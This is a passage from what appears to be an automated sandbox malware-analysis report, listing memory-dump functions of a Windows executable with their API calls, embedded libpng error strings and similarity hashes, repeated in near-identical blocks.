          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: ClipboardGlobal$AllocCloseDataEmptyFreeLockOpenUnlock
          • String ID:
          • API String ID: 453615576-0
          • Opcode ID: e614765f107af57b92ac494eb6c84558a6acc0590d1c10151602422f8701aa53
          • Instruction ID: c5ec351305b9fc38d00647845f4853aa6695ebf948b43d12ff90d8958d9e3037
          • Opcode Fuzzy Hash: e614765f107af57b92ac494eb6c84558a6acc0590d1c10151602422f8701aa53
          • Instruction Fuzzy Hash: 7E31C0B2208201AFC714EB65DC45B6BBBE8EB89710F404A3EF952D3290DB38DC04CB65
          APIs
            • Part of subcall function 00491AF1: InterlockedIncrement.KERNEL32(-000000F4), ref: 00491B06
          • FindFirstFileA.KERNEL32(?,?,*.*), ref: 00411F8A
            • Part of subcall function 0048F9CB: __EH_prolog.LIBCMT ref: 0048F9D0
            • Part of subcall function 00491D7C: InterlockedDecrement.KERNEL32(-000000F4), ref: 00491D90
          • SendMessageA.USER32 ref: 00412030
          • FindNextFileA.KERNEL32(?,00000010), ref: 0041203C
          • FindClose.KERNEL32(?), ref: 0041204F
          • SendMessageA.USER32(?,00001102,00000002,?), ref: 00412061
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Find$FileInterlockedMessageSend$CloseDecrementFirstH_prologIncrementNext
          • String ID: *.*
          • API String ID: 2486832813-438819550
          • Opcode ID: e6f245ab42e962aa849562c81c20ef4ac41763d5ff1e981ad987297befe11bdf
          • Instruction ID: 9a4fdf72fdae72a79d3b9be3b5d39b1681dffb7a68659ad0acdbbe6442dedfc6
          • Opcode Fuzzy Hash: e6f245ab42e962aa849562c81c20ef4ac41763d5ff1e981ad987297befe11bdf
          • Instruction Fuzzy Hash: A1417E71504342AFD710DF24C941BDBBBE8AB88714F008E2EF695832A0DBB9E905CB56
          APIs
          • OpenClipboard.USER32(00000000), ref: 00437AAD
          • GetClipboardData.USER32(0000C1B2), ref: 00437AC6
          • CloseClipboard.USER32 ref: 00437AD2
          • GlobalSize.KERNEL32(00000000), ref: 00437B08
          • GlobalLock.KERNEL32(00000000), ref: 00437B10
          • GlobalUnlock.KERNEL32(00000000), ref: 00437B28
          • CloseClipboard.USER32 ref: 00437B2E
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Clipboard$Global$Close$DataLockOpenSizeUnlock
          • String ID:
          • API String ID: 2237123812-0
          • Opcode ID: 63d93ba32da56281f45a1973b0825ac945a176a543fb05934d1d007e4a0e7faa
          • Instruction ID: 2946232522d95536477d595350b77dba1427a6e7918f9d41ae6edf9c15a6babd
          • Opcode Fuzzy Hash: 63d93ba32da56281f45a1973b0825ac945a176a543fb05934d1d007e4a0e7faa
          • Instruction Fuzzy Hash: 002191716042019FDB14AB25EC84E7FB7A9EF89354F04053AF946D3350EB28E9048669
          Strings
          • rgb-alpha color-map: too few entries, xrefs: 004481B2
          • rgb[gray] color-map: too few entries, xrefs: 00447F2F
          • rgb color-map: too few entries, xrefs: 004480BC
          • bad background index (internal error), xrefs: 0044873F
          • color map overflow (BAD internal error), xrefs: 00448699
          • rgb[ga] color-map: too few entries, xrefs: 00447EF4
          • bad data option (internal error), xrefs: 00448648
          • rgb+alpha color-map: too few entries, xrefs: 004480F7
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID:
          • String ID: bad background index (internal error)$bad data option (internal error)$color map overflow (BAD internal error)$rgb color-map: too few entries$rgb+alpha color-map: too few entries$rgb-alpha color-map: too few entries$rgb[ga] color-map: too few entries$rgb[gray] color-map: too few entries
          • API String ID: 0-1509944728
          • Opcode ID: 470f5c44a0ef0a3e39afc5f758ef99a53ea1e744cbe8072491444805494c9606
          • Instruction ID: cbbda347d0ded493795501c464df80f52ae16dabe9c9dc99c6cf08b11c4d4ce7
          • Opcode Fuzzy Hash: 470f5c44a0ef0a3e39afc5f758ef99a53ea1e744cbe8072491444805494c9606
          • Instruction Fuzzy Hash: DB02D0716183409BF714DE14CC81B6FB7E5EB95348F14052EF8889B382DBB9D886C79A
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID:
          • String ID: lost rgb to gray$lost/gained channels$unexpected 8-bit transformation$unexpected bit depth$unexpected compose$unknown interlace type
          • API String ID: 0-3614292578
          • Opcode ID: e7d93398d6d3b8f59f13955a67fa2ce9a8f2c488ef06acff28f4d041a2dba5e2
          • Instruction ID: 8843ae249acd9f913ccc57e71b1cd4ccd616e6491abb034998530ccd1fdcb61d
          • Opcode Fuzzy Hash: e7d93398d6d3b8f59f13955a67fa2ce9a8f2c488ef06acff28f4d041a2dba5e2
          • Instruction Fuzzy Hash: 1B12C1717483418BD718CF28C88066BB7E2BBC9304F58493EF98987381D679ED56CB4A
          Strings
          • gray+alpha color-map: too few entries, xrefs: 00447B94
          • ga-alpha color-map: too few entries, xrefs: 00447BE7
          • bad background index (internal error), xrefs: 0044873F
          • color map overflow (BAD internal error), xrefs: 00448699
          • bad data option (internal error), xrefs: 00448648
          • gray-alpha color-map: too few entries, xrefs: 00447E05
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID:
          • String ID: bad background index (internal error)$bad data option (internal error)$color map overflow (BAD internal error)$ga-alpha color-map: too few entries$gray+alpha color-map: too few entries$gray-alpha color-map: too few entries
          • API String ID: 0-942498654
          • Opcode ID: 7f092479dec87cda620606dcdbe3774cfd094d8f461b8ec1506baf248336755b
          • Instruction ID: 0f0efed97a89f81727227d7b60834562e6dc27ff71735de050b67a2b86c6d834
          • Opcode Fuzzy Hash: 7f092479dec87cda620606dcdbe3774cfd094d8f461b8ec1506baf248336755b
          • Instruction Fuzzy Hash: A6B1F1B16083018BE314CF18D881B6FBBE5EBD8744F14092EF48597391DBB8D946C79A
          APIs
            • Part of subcall function 00488384: InitializeCriticalSection.KERNEL32(00000000,00000000,?,?,00482FFC,00000009,00000000,00000000,00000001,00485B0B,00000001,00000074,?,?,00000000,00000001), ref: 004883C1
            • Part of subcall function 00488384: EnterCriticalSection.KERNEL32(?,?,?,00482FFC,00000009,00000000,00000000,00000001,00485B0B,00000001,00000074,?,?,00000000,00000001), ref: 004883DC
            • Part of subcall function 004883E5: LeaveCriticalSection.KERNEL32(?,004821B2,00000009,0048219E,00000000,?,00000000,00000000,00000000), ref: 004883F2
          • GetTimeZoneInformation.KERNEL32(0000000C,?,?,?,0000000B,0000000B,?,0048CDAD,0048C9A6,?,?,?,?,004832CE,?,?), ref: 0048CE0A
          • WideCharToMultiByte.KERNEL32(00000220,004FD56C,000000FF,0000003F,00000000,?,?,0048CDAD,0048C9A6,?,?,?,?,004832CE,?,?), ref: 0048CEA0
          • WideCharToMultiByte.KERNEL32(00000220,004FD5C0,000000FF,0000003F,00000000,?,?,0048CDAD,0048C9A6,?,?,?,?,004832CE,?,?), ref: 0048CED9
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: CriticalSection$ByteCharMultiWide$EnterInformationInitializeLeaveTimeZone
          • String ID: LL
          • API String ID: 3442286286-893286232
          • Opcode ID: 33b9fb3ea54bb3a550246d1029e2c34a07efd758c7fc77ada5ce04133758a26d
          • Instruction ID: 6fea677c551b89a46a972032f7a75a53774a888b93af3d525512460637293026
          • Opcode Fuzzy Hash: 33b9fb3ea54bb3a550246d1029e2c34a07efd758c7fc77ada5ce04133758a26d
          • Instruction Fuzzy Hash: E861F671904140AEE725BF1AAC85F3E7FAAAB06358F14493FE680872E1D7784942C76D
          APIs
          • FindNextFileA.KERNEL32(?,?), ref: 0041B292
          • FindClose.KERNEL32 ref: 0041B2A1
          • FindFirstFileA.KERNEL32(?,?), ref: 0041B2AD
          • FindClose.KERNEL32(00000000), ref: 0041B30B
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Find$CloseFile$FirstNext
          • String ID:
          • API String ID: 1164774033-0
          • Opcode ID: e1c45ff34cca3cbdff46f116ecac45a886ae09d47451365c4df9e477169bf205
          • Instruction ID: 9b3adea7f253e936a35e3c4ef8610ec9023f88822ed3e093f0c8351e608c0baa
          • Opcode Fuzzy Hash: e1c45ff34cca3cbdff46f116ecac45a886ae09d47451365c4df9e477169bf205
          • Instruction Fuzzy Hash: 5B2106325047159BD3319A24C8887FF7394EB96324F15066AED6587390E73DDC8983CA
          APIs
            • Part of subcall function 00495FC7: GetWindowLongA.USER32(?,000000F0), ref: 00495FD3
          • GetKeyState.USER32(00000010), ref: 0049537F
          • GetKeyState.USER32(00000011), ref: 00495388
          • GetKeyState.USER32(00000012), ref: 00495391
          • SendMessageA.USER32(?,00000111,0000E146,00000000), ref: 004953A7
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: State$LongMessageSendWindow
          • String ID:
          • API String ID: 1063413437-0
          • Opcode ID: 02e213d9dc350d8db8e5da009aeae7ac7ad5d772f06c4d4565f58d5cfe9bc47e
          • Instruction ID: 85d66032d16b79b03603af9d5e63bb3851b288cf952dbd52f11426784a92550e
          • Opcode Fuzzy Hash: 02e213d9dc350d8db8e5da009aeae7ac7ad5d772f06c4d4565f58d5cfe9bc47e
          • Instruction Fuzzy Hash: 99F0E93664274529ED3136572C02FF95A244F40BD4F20453BBF01AD2D189D88C820778
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID:
          • String ID: VUUU$VUUU$gfff$gfff
          • API String ID: 0-376493243
          • Opcode ID: ff396dd44781f9516db52076cbac2c95aee96f99c6bd85f0b15d2326b9cfc549
          • Instruction ID: ff7888e0fec3d0c982f139879f6ce10c728387509897a2aae72d51293ea3e3dc
          • Opcode Fuzzy Hash: ff396dd44781f9516db52076cbac2c95aee96f99c6bd85f0b15d2326b9cfc549
          • Instruction Fuzzy Hash: CC026DB1A093018FD758CF19C58066BB7E2BBC8314F55982EF989DB311D778ED018B8A
          Strings
          • internal row size calculation error, xrefs: 0045244B
          • internal row logic error, xrefs: 00452415
          • internal row width error, xrefs: 0045245D
          • invalid user transform pixel depth, xrefs: 00452649
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID:
          • String ID: internal row logic error$internal row size calculation error$internal row width error$invalid user transform pixel depth
          • API String ID: 0-64619857
          • Opcode ID: d018986041aac88a5a8184c3ac8aebd62c3be6ba5219913af01876425ca09d35
          • Instruction ID: 555788d65b2b5d47d3d157278c65f8a28aa01d8e3b7d53d3aff10cc70b2f776f
          • Opcode Fuzzy Hash: d018986041aac88a5a8184c3ac8aebd62c3be6ba5219913af01876425ca09d35
          • Instruction Fuzzy Hash: 59F117316083554FCB24DE28D6A02AFBBD1ABDB301F58466FDC8587303E6A99C4DC796
          Strings
          • palette color-map: too few entries, xrefs: 00448490
          • bad background index (internal error), xrefs: 0044873F
          • color map overflow (BAD internal error), xrefs: 00448699
          • bad data option (internal error), xrefs: 00448648
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID:
          • String ID: bad background index (internal error)$bad data option (internal error)$color map overflow (BAD internal error)$palette color-map: too few entries
          • API String ID: 0-3263629853
          • Opcode ID: 8b037c25e9fceb087c67309f35f633e113f008a4edd0f4e9a1c44bda95e4bfe1
          • Instruction ID: f9c8a3f62554615e5535fceb524e67222205a7b2e92763d6f29409f3ea23661a
          • Opcode Fuzzy Hash: 8b037c25e9fceb087c67309f35f633e113f008a4edd0f4e9a1c44bda95e4bfe1
          • Instruction Fuzzy Hash: 9F81F2B1608241AFE318CF18C890A6FF7E5EFC8344F64492EF58A87351DA79EC41875A
          Strings
          • copyright violation: edited ICC profile ignored, xrefs: 00445AA7
          • 8|J, xrefs: 0044592A
          • out-of-date sRGB profile with no signature, xrefs: 00445B06
          • known incorrect sRGB profile, xrefs: 00445AEE
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
